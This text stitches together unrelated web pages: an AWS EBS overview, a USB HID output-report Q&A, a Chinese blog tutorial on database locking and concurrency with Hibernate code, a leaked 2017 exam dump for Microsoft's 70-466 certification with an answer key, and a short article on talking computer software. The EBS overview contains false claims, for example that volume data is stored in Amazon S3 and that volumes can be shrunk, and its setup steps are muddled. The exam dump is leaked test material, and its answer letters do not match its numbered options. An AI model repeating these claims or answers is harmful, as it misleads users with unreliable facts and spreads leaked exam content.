'type': {'type': 'fixed', 'name': 'sync', 'size': SYNC_SIZE}
},
]
}
MASK = 0xFF
def read_null(fo, schema):
'''null is written as zero bytes.'''
return None
def read_boolean(fo, schema):
'''A boolean is written as a single byte whose value is either 0 (false) or
1 (true).
'''
return ord(fo.read(1)) == 1
def read_long(fo, schema):
'''int and long values are written using variable-length, zig-zag
coding.'''
c = fo.read(1)
# We do EOF checking only here, since most reader start here
if not c:
raise StopIteration
b = ord(c)
n = b & 0x7F
shift = 7
while (b & 0x80) != 0:
b = ord(fo.read(1))
n |= (b & 0x7F) << shift
shift += 7
return (n >> 1) ^ -(n & 1)
def read_float(fo, schema):
'''A float is written as 4 bytes.
The float is converted into a 32-bit integer using a method equivalent to
Java's floatToIntBits and then encoded in little-endian format.
'''
bits = (((ord(fo.read(1)) & MASK)) |
((ord(fo.read(1)) & MASK) << 8) |
((ord(fo.read(1)) & MASK) << 16) |
((ord(fo.read(1)) & MASK) << 24))
return unpack('!f', pack('!I', bits))[0]
def read_double(fo, schema):
'''A double is written as 8 bytes.
The double is converted into a 64-bit integer using a method equivalent to
Java's doubleToLongBits and then encoded in little-endian format.
'''
bits = (((ord(fo.read(1)) & MASK)) |
((ord(fo.read(1)) & MASK) << 8) |
((ord(fo.read(1)) & MASK) << 16) |
((ord(fo.read(1)) & MASK) << 24) |
((ord(fo.read(1)) & MASK) << 32) |
((ord(fo.read(1)) & MASK) << 40) |
((ord(fo.read(1)) & MASK) << 48) |
((ord(fo.read(1)) & MASK) << 56))
return unpack('!d', pack('!Q', bits))[0]
def read_bytes(fo, schema):
'''Bytes are encoded as a long followed by that many bytes of data.'''
size = read_long(fo, schema)
return fo.read(size)
def read_utf8(fo, schema):
'''A string is encoded as a long followed by that many bytes of UTF-8
encoded character data.
'''
return btou(read_bytes(fo, schema), 'utf-8')
def read_fixed(fo, schema):
'''Fixed instances are encoded using the number of bytes declared in the
schema.'''
return fo.read(schema['size'])
def read_enum(fo, schema):
'''An enum is encoded by a int, representing the zero-based position of the
symbol in the schema.
'''
return schema['symbols'][read_long(fo, schema)]
def read_array(fo, schema):
'''Arrays are encoded as a series of blocks.
Each block consists of a long count value, followed by that many array
items. A block with count zero indicates the end of the array. Each item
is encoded per the array's item schema.
If a block's count is negative, then the count is followed immediately by a
long block size, indicating the number of bytes in the block. The actual
count in this case is the absolute value of the count written.
'''
read_items = []
block_count = read_long(fo, schema)
while block_count != 0:
if block_count < 0:
block_count = -block_count
# Read block size, unused
read_long(fo, schema)
for i in xrange(block_count):
read_items.append(read_data(fo, schema['items']))
block_count = read_long(fo, schema)
return read_items
def read_map(fo, schema):
'''Maps are encoded as a series of blocks.
Each block consists of a long count value, followed by that many key/value
pairs. A block with count zero indicates the end of the map. Each item is
encoded per the map's value schema.
If a block's count is negative, then the count is followed immediately by a
long block size, indicating the number of bytes in the block. The actual
count in this case is the absolute value of the count written.
'''
read_items = {}
block_count = read_long(fo, schema)
while block_count != 0:
if block_count < 0:
block_count = -block_count
# Read block size, unused
read_long(fo, schema)
for i in range(block_count):
key = read_utf8(fo, schema)
read_items[key] = read_data(fo, schema['values'])
block_count = read_long(fo, schema)
return read_items
def read_union(fo, schema):
'''A union is encoded by first writing a long value indicating the
zero-based position within the union of the schema of its value.
The value is then encoded per the indicated schema within the union.
'''
# schema resolution
index = read_long(fo, schema)
return read_data(fo, schema[index])
def read_record(fo, schema):
'''A record is encoded by encoding the values of its fields in the order
that they are declared. In other words, a record is encoded as just the
concatenation of the encodings of its fields. Field values are encoded per
their schema.
Schema Resolution:
* the ordering of fields may be different: fields are matched by name.
* schemas for fields with the same name in both records are resolved
recursively.
* if the writer's record contains a field with a name not present in the
reader's record, the writer's value for that field is ignored.
* if the reader's record schema has a field that contains a default value,
and writer's schema does not have a field with the same name, then the
reader should use the default value from its field.
* if the reader's record schema has a field with no default value, and
writer's schema does not have a field with the same name, then the
field's value is unset.
'''
record = {}
for field in schema['fields']:
record[field['name']] = read_data(fo, field['type'])
return record
READERS = {
'null': read_null,
'boolean': read_boolean,
'string': read_utf8,
'int': read_long,
'long': read_long,
'float': read_float,
'double': read_double,
'bytes': read_bytes,
'fixed': read_fixed,
'enum': read_enum,
'array': read_array,
'map': read_map,
'union': read_union,
'error_union': read_union,
'record': read_record,
'error': read_record,
'request': read_record,
}
def read_data(fo, schema):
'''Read data from file object according to schema.'''
st = type(schema)
if st is dict:
record_type = schema['type']
elif st is list:
record_type = 'union'
else:
record_type = schema
reader = READERS[record_type]
return reader(fo, schema)
def skip_sync(fo, sync_marker):
'''Skip sync marker, might raise StopIteration.'''
mark = fo.read(SYNC_SIZE)
if not mark:
raise StopIteration
if mark != sync_marker:
fo.seek(-SYNC_SIZE, SEEK_CUR)
def null_read_block(fo):
'''Read block in "null" codec.'''
read_long(fo, None)
return fo
def deflate_read_block(fo):
'''Read block in "deflate" codec.'''
data = read_bytes(fo, None)
# -15 is the log of the window size; negative indicates "raw" (no
# zlib headers) decompression. See zlib.h.
return MemoryIO(decompress(data, -15))
BLOCK_READERS = {
'null': null_read_block,
'deflate': deflate_read_block
}
try:
import snappy
def snappy_read_block(fo):
length = read_long(fo, None)
data = fo.read(length - 4)
fo.read(4) # CRC
return MemoryIO(snappy.decompress(data))
BLOCK_READERS['snappy'] = snappy_read_block
except ImportError:
pass
def _iter_avro(fo, header, schema):
'''Return iterator over avro records.'''
sync_marker = header['sync']
# Value in schema is bytes
codec = header['meta'].get('avro.codec')
codec = btou(codec) if codec else 'null'
read_block = BLOCK_READERS.get(codec)
if not read_block:
raise ValueError('unknown codec: {0}'.format(codec))
block_count = 0
while True:
skip_sync(fo, sync_marker)
block_count = read_long(fo, None)
block_fo = read_block(fo)
for i in xrange(block_count):
yield read_data(block_fo, schema)
def schema_name(schema):
name = schema.get('name')
if not name:
return
namespace = schema.get('namespace')
if not namespace:
return name
return namespace + '.' + name
def extract_named(schema):
'''Inject named schemas into READERS.'''
if type(schema) == list:
for enum in schema:
extract_named(enum)
return
if type(schema) != dict:
return
name = schema_name(schema)
if name and (name not in READERS):
READERS[name] = lambda fo, _: read_data(fo, schema)
for field in schema.get('fields', []):
extract_named(field['type'])
class iter_avro:
'''Custom iterator over avro file.
Example:
with open('some-file.avro', 'rb') as fo:
avro = iter_avro(fo)
schema = avro.schema
for record in avro:
process_record(record)
'''
def __init__(self, fo):
self.fo = fo
try:
self._header = read_data(fo, META_SCHEMA)
except StopIteration:
raise ValueError('cannot read header - is it an avro file?')
self.schema = schema = \
json.loads(btou(self._header['meta']['avro.schema']))
extract_named(schema)
self._records = _iter_avro(fo, self._header, schema)
def __iter__(self):
return self._records
def next(self):
return next(self._records)
|
__label__pos
| 0.887183 |
7
$\begingroup$
Few days ago I was working on interval graphs to solve the known problem of resource allocation, as we know there is a greedy approach that solves this problem (chromatic number) in polynomial time and gives us the colors of each vertex in the interval graph (the problem of finding the chromatic number in general graphs is NP-Complete (3-satisfiability reduction by Karp)).
I was wondering: if had a graph that is not an interval graph but it is because it has one and only one chordless cycle of length > 3 (there is an edge that, when you remove it, the graph becomes an interval graph), does it makes the problem of finding the chromatic number on this kind of graph NP-Complete?
$\endgroup$
13
$\begingroup$
I believe these graphs can be colored in polynomial time. Moron has already provided a reference, but here's an explicit algorithm.
Suppose that $G-uv$ is an interval graph, for edge $uv$, and form an interval representation for it. We can assume without loss of generality that no two intervals have the same endpoint. We can also assume without loss of generality that $u$ and $v$ are the two extreme intervals; for, if some other interval were extreme, we could remove it, optimally color the resulting smaller graph (also of the form interval+one edge), and then optimally extend the coloring to the removed vertex (because its neighborhood is a clique).
So the remaining question is: does $G-uv$ have an optimal coloring in which $u$ and $v$ have different colors, or does edge $uv$ require us to use one more color? But this is easily solved by a dynamic program on the subintervals of the interval representation.
In more detail, for subinterval $i$ let $C[i]$ denote the set of intervals (vertices of G) that cover that subinterval, let $D[i]$ be a Boolean value, true if there exists a coloring of the subinterval (in an optimal coloring of $G-uv$) that does not use the same color as $u$, and let $E[i]$ be the set of vertices that can be colored with the same color as $u$ (again, in an optimal coloring). As a base case, $C[0]=E[0]=\{u\}$ and $D[0]$ is false. When going from subinterval $i$ to subinterval $i+1$, across the right endpoint of an interval $w$, we set $D$ to be the disjunction of its old value and the predicate $w\in E[i]$, and we then remove $w$ from $C[i]$ and $E[i]$. When going across the left endpoint of an interval $w$, we add $w$ to $C[i]$, we add it to $E[i]$ if $D$ is true, and we change $D$ from true to false if the new size of $C[i]$ equals the number of colors in an optimal coloring of $G-uv$.
Then, the optimal number of colors of $G$ is the same as for $G-uv$ iff either D is true for the final subinterval, or E[i] has more than one member in the final subinterval. Otherwise, the optimal number of colors for $G$ is one plus the optimal number of colors for $G-uv$.
$\endgroup$
• $\begingroup$ Love the algorithm; i formally demonstrate its correctness and works great, thanks $\endgroup$ – David Darias Jan 25 '11 at 4:40
7
$\begingroup$
According this here: http://www.cs.bme.hu/~dmarx/papers/marx-chordal-iwpec-slides.pdf (see slides 14 and 15)
For fixed $k$, for the class of graphs formed by adding $k$ edges to interval graphs, the chromatic number problem is in P.
$\endgroup$
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__label__pos
| 0.784968 |
DEV Community
Cover image for How To Rebuild Existing Software: Fixing And Updating Legacy Code
Wojciech Rupik for Selleo Web and Mobile
Posted on • Updated on • Originally published at selleo.com
How To Rebuild Existing Software: Fixing And Updating Legacy Code
Rebuilding or updating the already existing software may sometimes be a task equally as challenging as building it from scratch. Businesses usually decide to fix their legacy code due to issues with performance or compatibility. On the other hand, developers often are scared to handle older code or code they did not write in the first place.
If you are in such a situation, you better prepare for challenges and problems that will likely occur.
This post aims to explain the nuances connected to legacy code improvements, discuss the most common problems and provide you with best practices and tips on how to successfully go through this process.
What is Legacy Code?
According to Wikipedia, Legacy Code is simply a source code that is related to a no longer supported or manufactured operating system or computer technology. It also relates to code that is inserted into more modern software in order to maintain an older, previously supported feature or file format. On the other hand, the term also refers to executable code that no longer runs on a later version of a system or one that requires a compatibility layer to do so. A great example can be a classic Macintosh application that can no longer run natively on the newest Mac OS X.
The challenges of fixing and updating Legacy Code
Legacy Code is often named ‘spaghetti code’, ‘ball of mud’ or other, not so nice terms. Generally speaking, it usually has one of the following five so-called trouble spots:
1. It is hard to debug
2. People do not understand it
3. The code will not run because the feedback cycles are slow
4. The automated tests are not adequate or do not exist
5. Deployment is difficult and/or takes a long time
Img
As mentioned above, Legacy Code usually holds information crucial for the final product to work properly. In some cases, it is code written by people who are no longer in the company. And this is where the problem arises: what has to be changed and where it is? What can we do? The answers are, as follows:
1. Rewrite it
The most drastic of the possible solutions is to rewrite the code altogether. It might be either the best or the worst way to deal with spaghetti code. It is usually the best option when an infrastructure seems to be impossible to work with and every attempt to fix it causes more harm than good. Here, it is crucial to approach this solution very carefully, which means no matter how good the developers are and how quickly they can finish the job, always assume it will take more time, resources and effort than anticipated.
1. Work around it
Although it might be tempting to add another layer of the code in order to fix it, most often, is just a temporary fix. What is more, after some time, someone else will probably go back through your code and add even more layers. There is one situation in particular where the work around method is good for - when you are dealing with smaller and centralized issues. In this case, big fixes are not required or necessarily needed by the software. As long as the solution stays well-documented for future development.
1. Work with it
The final solution is to simply just work with the Legacy Code. Here, the main challenge is to actually understand what the original author had in mind when writing the code. You should be prepared to work on changing one tiny thing at a time, but despite the frustration and possible drawbacks, working with legacy code is a good way to ensure you are not adding the legacy code of tomorrow.
Why is Legacy Code a challenge?
Developers say that the biggest challenge they faced when working with older or unfamiliar code may be the assumptions about it. You may think the code is bad and whoever wrote it did not know what they were doing or that you would have done it better.
Speaking the truth, there usually is a reason why the code you are dealing with is how it is and that is why you cannot put a quick fix on it. There might be some dependencies you are unaware of and that is why it is crucial to know whether to maintain it or change it.
What do you get for doing the dirty job?
By editing the Legacy Code you can simplify everyone’s future workflow. You deliver better code with fewer bugs, which is obviously a win not only for your co-workers but also for your clients. Incrementally improving the code base through step-by-step edits means that everybody involved with the project will have less fear and frustration. By fixing the existing code you make your life easier and prevent the project from future errors that could result from improper code editing.
Read also: How To Develop A Mobile App - Best Practices
If you do not feel comfortable or have time to update your inherited codebase, there is always the possibility to outsource it. Our teams can handle this from start to finish while you will be able to redirect your energy to other projects.
Best practices for working with Legacy Code
You obviously will not be able to improve the code overnight, but you can take gradual steps to improve it over time. No matter if you are just getting started or have been working on it for a while, here are some tips and tricks you can follow.
Img
1. Rewrite only when necessary
Although it might be tempting to rewrite the entire codebase it is usually a mistake. It takes too much time and resources to do so and despite all the effort, it can still introduce new bugs. What is more, you can accidentally remove a hidden functionality.
1. Try refactoring
It is better to try to refactor the codebase rather than rewrite it. It is also best to do it gradually. Refactoring is the process of changing the structure of the code but without changing its functionality. This helps to clean the code and make it easier to understand. Additionally, it removes potential errors. When refactoring code remember to refactor code that has unit tests, always start with the deepest point of your code, test after refactoring and have a safety net like continuous integration so you can always revert to the previous build.
1. Test it
One way to get an understanding of the code is to create characterization and unit tests. You can also use a code quality code like a static code analyzer in order to identify potential problems. This will help you understand what the code actually does and reveal potentially problematic areas.
1. Read the documentation
Reviewing the original documentation with the requirements will give you insight into where the code came from. Having the documentation nearby will help you improve the code without compromising the system since without this information you could accidentally make changes that introduce undesirable behaviour.
1. Keep the new code clean
Keeping the code clean and readable is a great way to avoid making it even more problematic. By ensuring your new code adheres to best practices you can control the quality of it.
1. Collaborate with others
As you probably will not know the codebase very well, your coworkers may. It is much faster to ask for help from those who know the code best. Try to collaborate with them as much as possible as a second set of eyes on the code may help you understand it better.
1. Make changes in different review cycles
Try not to introduce too many changes at once. It is a bad idea to refactor in the same review cycle as functional changes. What is more, it makes it easier to actually perform code reviews as isolated changes are much more obvious to the reviewer than a sea of changes.
1. Do further research
Working with an inherited codebase gets easier with time. An experienced developer will know when to leave it be as well as learning more about the code itself will. Review sources that speak about introducing changes to Legacy Code, analyze the examples and look for useful tips.
Helpful tools for working with Legacy Code
The developer community seems to have a tool for almost everything you can think of. Working with Legacy Code is no different. When working with an inherited codebase it is crucial to figure out what to change and leave the rest alone. Here’s a list of tools that will help you analyze the code.
One way to get inside the code is by using a code quality tool like a static code analysis tool.
DeepSource
This tool helps you to automatically find and fix issues in the code during code reviews. It can be integrated with GitHub or GitLab accounts. The solution looks for antipatterns, bug risks and performance issues. What is more, it produces and tracks metrics like dependency count or documentation coverage.
DeepSource supports languages like: JavaScript, Python, Ruby, Java as well as Docker, Terraform and SQL.
SonarQube
A popular static analysis tool for continuously inspecting the code quality and security. It is used for automated code review with CI/CD integration and offers quality-management tools. Unfortunately, not every IDE supports SonarQube and you do not have the option to ignore the issues that are intentional or your team decides not to fix them.
SonarQube supports over 25 programming languages including Java, JavaScript, TypeScript, C#.
Codacy
A tool that allows developers to tackle technical debt and improve code quality. It monitors the quality in every commit and PR. Additionally, you can enforce your quality standards and security practices. However, the solution lacks integration of other SaaS services like API QOS metrics from AWS API Gateways or UI/E2E testing Saas services and has a relatively small community.
Codacy supports languages like Elixir, JavaScript, JSON, Ruby, Swift, Kotlin and many more.
DeepScan
DeepScan is a leading static analysis tool created to support JavaScript, TypeScript, React and Vue.js. You can use this tool to seek out feasible runtime errors and quality issues. It can be integrated with GitHub repositories. The small language support can be a major drawback to some while others will be thrilled with that.
Embold
A general-purpose tool that helps to look for critical code issues. This is the tool to investigate, diagnose, transform and sustain applications efficiently. It is integrated with AI and machine learning technologies and can be run both on-premise or within a cloud privately or publicly. On the downside, Embold is quite pricey for what it is in comparison to other similar software.
Embold supports Java, C#, JavaScript, Python, PHP, Kotlin, SQL and others.
Read also: Mobile Software Development Trends To Know In 2021
Veracode
A tool directed towards security issues as it conducts code checks across the pipeline to find security vulnerabilities. It includes IDE scans, pipeline scans and policy scans as a part of its service. Keep in mind, Veracode does not allow any customization for the scanning rules and has a rather poor UX.
Veracode supports languages including Java, JavaScript, Python, Scala, Ruby on Rails, PHP and many more.
Reshift
A SaaS-based software platform that can be seamlessly integrated into the software development workflow so you can deploy secure software deliverables without slowing down the pipeline. It reduces the costs and time of finding and fixing vulnerabilities, identifying potential risk data breaches and helping businesses achieve compliance and regulatory requirements. The drawback is that Reshift only supports Java.
As additional resources for your journey with Legacy Code, read the article by Michael C. Feathers on how to make changes to the codebase. Another great resource is a book by Martin Fowler Refactoring: Improving the Design of Existing Code with lots of useful tips for effective code refactoring.
Conclusions
As you can see, updating Legacy Code is not a walk in the park. Those updates and their extensivity depend on the a*ge of code, its architecture, test coverage and deployment. Before you start, it is crucial to define the new expectations as well as ensure sufficient test coverage. Remember to always look at the code from all possible angles and decide whether you should **work with it, around it or rewrite it altogether*.
There are lots of helpful tools that can aid you in every step of the process and I hope that after reading this article, you feel more secure and less scared to deal with fixes and updates.
And if that still sounds like too much work for you, contact us. We will be more than happy to help you. Our experienced teams are ready to start working on your project, even if it still is an idea in your head. Fill out the form to schedule a call and get a free quote.
Top comments (0)
|
__label__pos
| 0.574888 |
Ajax search suggestions using MySql and PHP
Following is the demonstration of how we can implement search suggestions from mysql database in PHP. Please note that this search is affected from Sql Injection and other database hacks. So fine tune is absolutely necessary.
First : index.php (which holds HTML form)
<html>
<head>
<script>
function showResult(str)
{
if (str.length==0)
{
document.getElementById("livesearch").innerHTML="";
document.getElementById("livesearch").style.border="0px";
return;
}
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("livesearch").innerHTML=xmlhttp.responseText;
document.getElementById("livesearch").style.border="1px solid #A5ACB2";
}
}
xmlhttp.open("GET","livesearch.php?q="+str,true);
xmlhttp.send();
}
</script>
</head>
<body>
<form>
<input type="text" size="45" onKeyUp="showResult(this.value)">
<div id="livesearch"></div>
</form>
</body>
</html>
Second : livesearch.php (which holds data processing logic)
<?php
$q=$_GET["q"];
$con = mysql_connect('localhost', 'wordpress', '1234');
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("word", $con);
$sql="SELECT * FROM wp_posts WHERE post_title LIKE '%".$q."%'";
$result = mysql_query($sql);
echo "<table border='1'>
<tr>
<th>Post Title</th>
<th>Post Name</th>
<th>ID</th>
</tr>";
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['post_title'] . "</td>";
echo "<td>" . $row['post_name'] . "</td>";
echo "<td>" . $row['guid'] . "</td>";
echo "</tr>";
}
echo "</table>";
mysql_close($con);
?>
|
__label__pos
| 0.954292 |
Apne doubts clear karein ab Whatsapp (8 400 400 400) par bhi. Try it now.
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Question From class 7 Chapter FRACTIONS
There are 45 students in a class and of them are boys. How many girls are there in the class?
In a class, there are 70 students. If the ratio boys to girls is 5:2, then find the number of girls in the class.
1:16
In a class, there are 10 boys and 8 girls. When 3 students are selected at random, the probability that 2 girls and 1 boy are selected, is
2:48
In a class there are 20 boys and 15 girls. In how many ways can 2 boys and 2 girls be selected?
2:31
In a certain school, the ratio of boys to girls is . If there are 2400 students in the school, then how many girls are there ?
1:44
In a class there are 15 boys and 10 girls. How many ways can a pair of one boy and one girl be selected from the class?
1:28
The number of boys and girls in a class are in the ratio of Find the strength of the class if there are 10 more girls than there are boys.
2:28
In a class, one out of every six students fails. If there are 42 students in the class, how many pass?
1:27
There are 20 girls and 15 boys in a class. (a) What is the ratio of number of girls to the number of boys? b) What is the ratio of number of girls to the students in the class?
1:53
In a class of 20 students, 5 are boys and remaining are girls. Find the percentage of girls.
0:51
Number of students in 4th and 5th class in the ratio 6:11. 40% in class 4 are girls and 48% in class 5 are girls. What percentage of students in both the classes are boys ?
5:19
Ratio between the girls one long 11 class of 40 students is 2:3 five, new students joined the class how many of them must be boys so that the both between girls and boys became 4:5?
5:34
In a class there are 32 girls. If the fraction of girls in the class is (8)/(11) ,find the total number of students in the class.
0:38
In class VI, there are 30 students. If the number of girls is 3 more than twice the number of boys, then the number of boys and girls are :
1:39
In a class there are 20 boys and 25 girls. In how many ways can a pair of a boy and a girl be selected?
2:14
In a class there are 72 boys and 64 girls. If the class is to be divided into least number of groups such that each group contains either only boys or only girls, then how many groups will be formed ?
3:22
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MicroConcepts
Introduction
Fraction a fraction is a number representing a part of a whole. the whole may be a single object or a group of objects.
Proper fraction a fraction whose numerator is less than the denominator is called a proper fraction.
Improper fraction a fraction whose numerator is more than or equal to the denominator is called an improper fraction.
Mixed fraction a combination of a whole number and a proper fraction is called a mixed fraction.
Equivalent fraction a given fraction and various fraction obtained by multiplying (or dividing ) its numerator and denominator by the same non -zero number are called equivalent fraction .
Like fractions fractions having the same denominators are called like fraction.
Unlike fractions fractions with different denominators are called unlike fractions.
Fraction in lowest terms a fraction is in its lowest terms if its numerator and denominator have no common factor other than 1.
How to compare fractions?
|
__label__pos
| 0.630557 |
--- /dev/null 2018-04-28 00:24:55.164000301 -0400 +++ new/test/hotspot/jtreg/runtime/condy/CondyNestedResolutionTest.java 2018-05-21 15:35:27.220254914 -0400 @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved. + * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. + * + * This code is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 only, as + * published by the Free Software Foundation. + * + * This code is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License + * version 2 for more details (a copy is included in the LICENSE file that + * accompanied this code). + * + * You should have received a copy of the GNU General Public License version + * 2 along with this work; if not, write to the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. + * + * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA + * or visit www.oracle.com if you need additional information or have any + * questions. + */ + +/* + * @test + * @bug 8203435 + * @summary Test JVMs 5.4.3.6 with respect to a dynamically-computed constant and circularity. + * @modules java.base/jdk.internal.misc + * @library /test/lib + * @compile CondyNestedResolution.jcod + * @run main/othervm -Xverify:all CondyNestedResolutionTest + */ + +import jdk.test.lib.process.ProcessTools; +import jdk.test.lib.process.OutputAnalyzer; +import jdk.test.lib.compiler.InMemoryJavaCompiler; + +/* + * JVMs section 5.4.3.6 Dynamically-Computed Constant and Call Site Resolution + * "Let X be the symbolic reference currently being resolved, and let Y be a static argument of X + * to be resolved as described above. If X and Y are both dynamically-computed constants, and if Y + * is either the same as X or has a static argument that references X through its static arguments, + * directly or indirectly, resolution fails with a StackOverflowError. + */ +public class CondyNestedResolutionTest { + public static void main(String args[]) throws Throwable { + ProcessBuilder pb = ProcessTools.createJavaProcessBuilder("CondyNestedResolution"); + OutputAnalyzer oa = new OutputAnalyzer(pb.start()); + oa.shouldContain("StackOverflowError"); + oa.shouldContain("bsm1arg"); + oa.shouldContain("hello1"); + oa.shouldContain("hello2"); + oa.shouldContain("hello4"); + oa.shouldContain("hello6"); + oa.shouldNotContain("hello3"); + oa.shouldNotContain("hello5"); + oa.shouldNotContain("bsm2arg"); + oa.shouldNotContain("bsm3arg"); + oa.shouldNotContain("bsm4arg"); + oa.shouldHaveExitValue(1); + } +}
|
__label__pos
| 0.975297 |
Cody
Problem 1719. Dice face matrix!
Solution 1697386
Submitted on 20 Dec 2018 by Dan Moran
This solution is locked. To view this solution, you need to provide a solution of the same size or smaller.
Test Suite
Test Status Code Input and Output
1 Pass
rollnum = 1; diceFace = [0 0 0; 0 1 0; 0 0 0]; assert(isequal(rollADie(rollnum),diceFace))
2 Pass
rollnum = 2; diceFace = [0 0 1; 0 0 0; 1 0 0]; assert(isequal(rollADie(rollnum),diceFace))
3 Pass
rollnum = 3; diceFace = [0 0 1; 0 1 0; 1 0 0]; assert(isequal(rollADie(rollnum),diceFace))
4 Pass
rollnum = 4; diceFace = [1 0 1; 0 0 0; 1 0 1]; assert(isequal(rollADie(rollnum),diceFace))
5 Pass
rollnum = 5; diceFace = [1 0 1; 0 1 0; 1 0 1]; assert(isequal(rollADie(rollnum),diceFace))
6 Pass
rollnum = 6; diceFace = [1 0 1; 1 0 1; 1 0 1]; assert(isequal(rollADie(rollnum),diceFace))
Suggested Problems
More from this Author17
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|
__label__pos
| 0.793235 |
Add Notes
You can add notes to a canvas on the Narrate pane to refer to a specific spot or data point such as a column in a table, a particular horizontal bar, or a cluster in a Scatter plot.
1. In your project, click Narrate and select the canvas where you want to add notes.
Alternatively, in the Canvases Panel, select a canvas and click Canvases List or right-click, then click Add to Story. You can also drag and drop the canvas from the Canvases Panel to the Story page.
2. Select a data point or spot on the visualization where you want to add a data reference annotation and click Add Note.
Alternatively, click Add Note to annotate your canvas with insights.
3. Enter the text you want to show in the note.
4. In the format text dialog, do the following:
• Define the format of the note text.
• Click Link if you want to insert a web address in the note. In the Hyperlink dialog, enter the web address and click OK.
5. Continue adding notes to your canvas.
A connector or line connects the note to the data point or spot on the visualization. If you select more than ten data points, the connectors won't be displayed. To show the connectors select the note body and click the drop-down arrow, then select Show Connector. If you change or remove a data point on the Visualize canvas, the note attached to that data point is automatically hidden.
You can’t connect a note to a data point or spot on the following visualization types:
• List
• Tile
• Correlation Matrix
• Map
• Parallel Coordinates
• Chord Diagram
Edit a Note
You can edit the text or web addresses inserted in notes.
1. Select the canvas where you added the note you want to edit.
2. Click the note on the visualization.
Alternatively, select the note body and click the drop-down arrow, then click Edit.
3. Edit the text or web address in the note.
4. Click outside of the note body.
Adjust a Note
You can adjust a note after you add it to a canvas on the Narrate pane. For example, you can move the note around on the canvas, connect or detach it from a data point, resize it, or hide it.
1. In the Narrate pane, select the canvas where you added the note that you want to adjust.
2. Select the note body and click the drop-down arrow, then select the appropriate option such as Duplicate, Show Connector, or Hide Note.
3. In the properties pane, click the Note tab, and use the options to hide or delete the note.
4. To connect the note to a data point, hover the mouse pointer over the note to see the connection dots be displayed on the note body.
Click a connection dot and drag the cursor to a data point on the visualization.
5. To alter the data points attached to the note, do the following:
1. Select the note body and click the drop-down arrow, then select Detach from Data.
2. Select a connection dot and drag the cursor to the new data points.
6. Select a note body and perform the following actions:
• Drag the selected note to a new position.
• Drag the note body sizing handle left and right or up and down.
|
__label__pos
| 0.981758 |
Get input value from each row in JavaScript Code Answer
Hello Developer, Hope you guys are doing great. Today at Tutorial Guruji Official website, we are sharing the answer of Get input value from each row in JavaScript without wasting too much if your time.
The question is published on by Tutorial Guruji team.
function shortDescription(a){
var descriptionInput;
var tbl = $(document.getElementById('21.125-mrss-cont-none-content'));
tbl.find('tr').each(function () {
$(this).find("input[name$='6#if']").keypress(function (e) {
if (e.which == 13) {
descriptionInput = $(this).val();
$(this).val(descriptionInput);
$(document.getElementById('__AGIM0:U:1:4:2:1:1::0:14')).val(descriptionInput);
}
console.log(descriptionInput);
});
});
});
}
This code works perfectly but how do I write this in pure JavaScript? I’m mainly interested in this: How do I perform these tasks without jQuery?
for each row, find the input name that ends in 6#if (the column I want)
on enter, get this input value and add to the console it so I know it’s there
input id = "grid#21.125#1,6#if" type="text" value"" name="grid#21.125#1,6#if
oninput = shortDescription(this);
Answer
It would be great if you could share a piece of HTML on wich we could try some things, but for the moment, here’s what your code looks like written in pure JS :
var descriptionInput;
var tbl = document.getElementById('21.125-mrss-cont-none-content')
Array.from(tbl.getElementsByTagName('tr')).forEach(function(tr) {
Array.from(tr.querySelectorAll("input[name$='6#if']")).forEach(function(input) {
input.onkeypress = function(e) {
if (e.keyCode == 13) {
descriptionInput = input.value;
input.value = descriptionInput; // why ??
document.getElementById('__AGIM0:U:1:4:2:1:1::0:14').value = descriptionInput;
}
console.log(descriptionInput);
}
});
});
If you’re not OK with the querySelectorAll, you can use getElementsByTagName, it returns a NodeList that you can turn into an array with the Array.from method and the use filter on the name to find the input with a name containing “6#if”.
Best practices …
Since an ID is unique and the methods getElementsByTageName or getElementsByTagName returns a Live HTMLCollection, it’s better if you use these elements as unique variables, so you won’t ask your browser to fetch them many times. Since I don’t know what your elements means, I will name the variables with trivial names, here’s a better version of the code :
var descriptionInput;
var tbl = document.getElementById('21.125-mrss-cont-none-content');
var tr1 = tbl.getElementsByTagName('tr');
var el1 = document.getElementById('__AGIM0:U:1:4:2:1:1::0:14');
var inputsInTr = Array.from(tr1).map(function(tr) {
return Array.from(tr.getElementsByTagName('input'));
}).reduce(function(pv, cv) {
return pv.concat(cv);
});
var myInputs = inputsInTr.filter(function(input) {
return input.name.indexOf('6#if') != 0;
});
myInputs.forEach(function(input) {
input.onkeypress = function(e) {
if (e.keyCode == 13) {
descriptionInput = input.value;
el1.value = descriptionInput;
}
console.log(descriptionInput);
}
});
I didn’t try it, hope it’s OK.
Hope it helps, Best regards,
We are here to answer your question about Get input value from each row in JavaScript - If you find the proper solution, please don't forgot to share this with your team members.
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Tutorial Guruji
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Tech
How to Use AWS EBS in EC2 Instances
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Shat is AWS EBS
AWS EBS is a cloud-based storage service that provides persistent storage for data and applications used in Amazon EC2 instances. EBS volumes can be attached to and detached from running EC2 instances, making it easy to scale storage capacity as needed. EBS volumes are also replicated within an Availability Zone (AZ) to protect against data loss due to Availability Zone failures.
EBS provides three volume types that differ in performance and cost:
1. General Purpose (SSD) Volumes- These volumes offer a balance of price and performance for a wide variety of workloads such as boot volumes, small databases, development and test environments, and code repositories.
2. Provisioned IOPS (SSD) Volumes- These volumes are designed to deliver predictable, high performance for I/O intensive workloads such as large databases and enterprise applications.
3. Magnetic Volumes- Also known as Standard Volumes, these are the lowest cost per gigabyte of storage but provide the lowest performance. Magnetic volumes are a good choice for infrequently accessed data, backup and archival storage, and file sharing.
To create an EBS volume, you need to specify the following:
1. The size of the volume in gigabytes (GB)
